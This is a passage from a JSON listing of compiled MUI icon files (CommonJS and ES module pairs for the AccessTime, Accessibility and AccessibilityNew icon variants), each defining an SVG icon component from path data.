    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c-3.9 0-7 3.1-7 7s3.1 7 7 7 7-3.1 7-7-3.1-7-7-7m3.7 10.9L11 14V8h1.5v5.3l4 2.4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 5.7-4.6-3.9-1.3 1.5 4.6 3.9zM12.5 8H11v6l4.7 2.9.8-1.2-4-2.4zM12 4c-5 0-9 4-9 9s4 9 9 9 9-4 9-9-4-9-9-9m0 16c-3.9 0-7-3.1-7-7s3.1-7 7-7 7 3.1 7 7-3.1 7-7 7M7.9 3.4 6.6 1.9 2 5.7l1.3 1.5z\"\n}, \"1\")], 'AccessAlarmsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessTime.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 7H11v6l5.25 3.15.75-1.23-4.5-2.67z\"\n}, \"1\")], 'AccessTime');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessTime.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 7H11v6l5.25 3.15.75-1.23-4.5-2.67z\"\n}, \"1\")], 'AccessTime');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessTimeFilled.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m3.3 14.71L11 12.41V7h2v4.59l3.71 3.71z\"\n}), 'AccessTimeFilled');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessTimeFilled.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m3.3 14.71L11 12.41V7h2v4.59l3.71 3.71z\"\n}), 'AccessTimeFilled');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessTimeFilledOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m3.3 14.71L11 12.41V7h2v4.59l3.71 3.71z\"\n}), 'AccessTimeFilledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessTimeFilledOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m3.3 14.71L11 12.41V7h2v4.59l3.71 3.71z\"\n}), 'AccessTimeFilledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessTimeFilledRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M16 16c-.39.39-1.02.39-1.41 0l-3.29-3.29c-.19-.19-.3-.44-.3-.71V8c0-.55.45-1 1-1s1 .45 1 1v3.59l3 3c.39.39.39 1.02 0 1.41\"\n}), 'AccessTimeFilledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessTimeFilledRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M16 16c-.39.39-1.02.39-1.41 0l-3.29-3.29c-.19-.19-.3-.44-.3-.71V8c0-.55.45-1 1-1s1 .45 1 1v3.59l3 3c.39.39.39 1.02 0 1.41\"\n}), 'AccessTimeFilledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessTimeFilledSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m3.3 14.71L11 12.41V7h2v4.59l3.71 3.71z\"\n}), 'AccessTimeFilledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessTimeFilledSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m3.3 14.71L11 12.41V7h2v4.59l3.71 3.71z\"\n}), 'AccessTimeFilledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessTimeFilledTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m3.3 14.71L11 12.41V7h2v4.59l3.71 3.71z\"\n}), 'AccessTimeFilledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessTimeFilledTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2m3.3 14.71L11 12.41V7h2v4.59l3.71 3.71z\"\n}), 'AccessTimeFilledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessTimeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m.5-13H11v6l5.25 3.15.75-1.23-4.5-2.67z\"\n}), 'AccessTimeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessTimeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m.5-13H11v6l5.25 3.15.75-1.23-4.5-2.67z\"\n}), 'AccessTimeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessTimeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m-.22-13h-.06c-.4 0-.72.32-.72.72v4.72c0 .35.18.68.49.86l4.15 2.49c.34.2.78.1.98-.24.21-.34.1-.79-.25-.99l-3.87-2.3V7.72c0-.4-.32-.72-.72-.72\"\n}), 'AccessTimeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessTimeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m-.22-13h-.06c-.4 0-.72.32-.72.72v4.72c0 .35.18.68.49.86l4.15 2.49c.34.2.78.1.98-.24.21-.34.1-.79-.25-.99l-3.87-2.3V7.72c0-.4-.32-.72-.72-.72\"\n}), 'AccessTimeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessTimeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m.5-13H11v6l5.25 3.15.75-1.23-4.5-2.67z\"\n}), 'AccessTimeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessTimeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m.5-13H11v6l5.25 3.15.75-1.23-4.5-2.67z\"\n}), 'AccessTimeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessTimeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m4.25 12.15L11 13V7h1.5v5.25l4.5 2.67z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m.5-13H11v6l5.25 3.15.75-1.23-4.5-2.67z\"\n}, \"1\")], 'AccessTimeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessTimeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m4.25 12.15L11 13V7h1.5v5.25l4.5 2.67z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m.5-13H11v6l5.25 3.15.75-1.23-4.5-2.67z\"\n}, \"1\")], 'AccessTimeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Accessibility.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m9 7h-6v13h-2v-6h-2v6H9V9H3V7h18z\"\n}), 'Accessibility');"
  },
  {
    "path": "packages/mui-icons-material/lib/Accessibility.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m9 7h-6v13h-2v-6h-2v6H9V9H3V7h18z\"\n}), 'Accessibility');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibilityNew.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.5 6c-2.61.7-5.67 1-8.5 1s-5.89-.3-8.5-1L3 8c1.86.5 4 .83 6 1v13h2v-6h2v6h2V9c2-.17 4.14-.5 6-1zM12 6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'AccessibilityNew');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibilityNew.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.5 6c-2.61.7-5.67 1-8.5 1s-5.89-.3-8.5-1L3 8c1.86.5 4 .83 6 1v13h2v-6h2v6h2V9c2-.17 4.14-.5 6-1zM12 6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'AccessibilityNew');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibilityNewOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.5 6c-2.61.7-5.67 1-8.5 1s-5.89-.3-8.5-1L3 8c1.86.5 4 .83 6 1v13h2v-6h2v6h2V9c2-.17 4.14-.5 6-1zM12 6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'AccessibilityNewOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibilityNewOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.5 6c-2.61.7-5.67 1-8.5 1s-5.89-.3-8.5-1L3 8c1.86.5 4 .83 6 1v13h2v-6h2v6h2V9c2-.17 4.14-.5 6-1zM12 6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'AccessibilityNewOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibilityNewRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.75 6.99c-.14-.55-.69-.87-1.24-.75-2.38.53-5.03.76-7.51.76s-5.13-.23-7.51-.76c-.55-.12-1.1.2-1.24.75-.14.56.2 1.13.75 1.26 1.61.36 3.35.61 5 .75v12c0 .55.45 1 1 1s1-.45 1-1v-5h2v5c0 .55.45 1 1 1s1-.45 1-1V9c1.65-.14 3.39-.39 4.99-.75.56-.13.9-.7.76-1.26M12 6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'AccessibilityNewRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibilityNewRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.75 6.99c-.14-.55-.69-.87-1.24-.75-2.38.53-5.03.76-7.51.76s-5.13-.23-7.51-.76c-.55-.12-1.1.2-1.24.75-.14.56.2 1.13.75 1.26 1.61.36 3.35.61 5 .75v12c0 .55.45 1 1 1s1-.45 1-1v-5h2v5c0 .55.45 1 1 1s1-.45 1-1V9c1.65-.14 3.39-.39 4.99-.75.56-.13.9-.7.76-1.26M12 6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'AccessibilityNewRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibilityNewSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.5 6c-2.61.7-5.67 1-8.5 1s-5.89-.3-8.5-1L3 8c1.86.5 4 .83 6 1v13h2v-6h2v6h2V9c2-.17 4.14-.5 6-1zM12 6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'AccessibilityNewSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibilityNewSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.5 6c-2.61.7-5.67 1-8.5 1s-5.89-.3-8.5-1L3 8c1.86.5 4 .83 6 1v13h2v-6h2v6h2V9c2-.17 4.14-.5 6-1zM12 6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'AccessibilityNewSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibilityNewTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.5 6c-2.61.7-5.67 1-8.5 1s-5.89-.3-8.5-1L3 8c1.86.5 4 .83 6 1v13h2v-6h2v6h2V9c2-.17 4.14-.5 6-1zM12 6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'AccessibilityNewTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibilityNewTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.5 6c-2.61.7-5.67 1-8.5 1s-5.89-.3-8.5-1L3 8c1.86.5 4 .83 6 1v13h2v-6h2v6h2V9c2-.17 4.14-.5 6-1zM12 6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'AccessibilityNewTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibilityOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m9 7h-6v13h-2v-6h-2v6H9V9H3V7h18z\"\n}), 'AccessibilityOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibilityOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m9 7h-6v13h-2v-6h-2v6H9V9H3V7h18z\"\n}), 'AccessibilityOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibilityRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m8 7h-5v12c0 .55-.45 1-1 1s-1-.45-1-1v-5h-2v5c0 .55-.45 1-1 1s-1-.45-1-1V9H4c-.55 0-1-.45-1-1s.45-1 1-1h16c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'AccessibilityRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibilityRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m8 7h-5v12c0 .55-.45 1-1 1s-1-.45-1-1v-5h-2v5c0 .55-.45 1-1 1s-1-.45-1-1V9H4c-.55 0-1-.45-1-1s.45-1 1-1h16c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'AccessibilityRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibilitySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m9 7h-6v13h-2v-6h-2v6H9V9H3V7h18z\"\n}), 'AccessibilitySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibilitySharp.mjs",
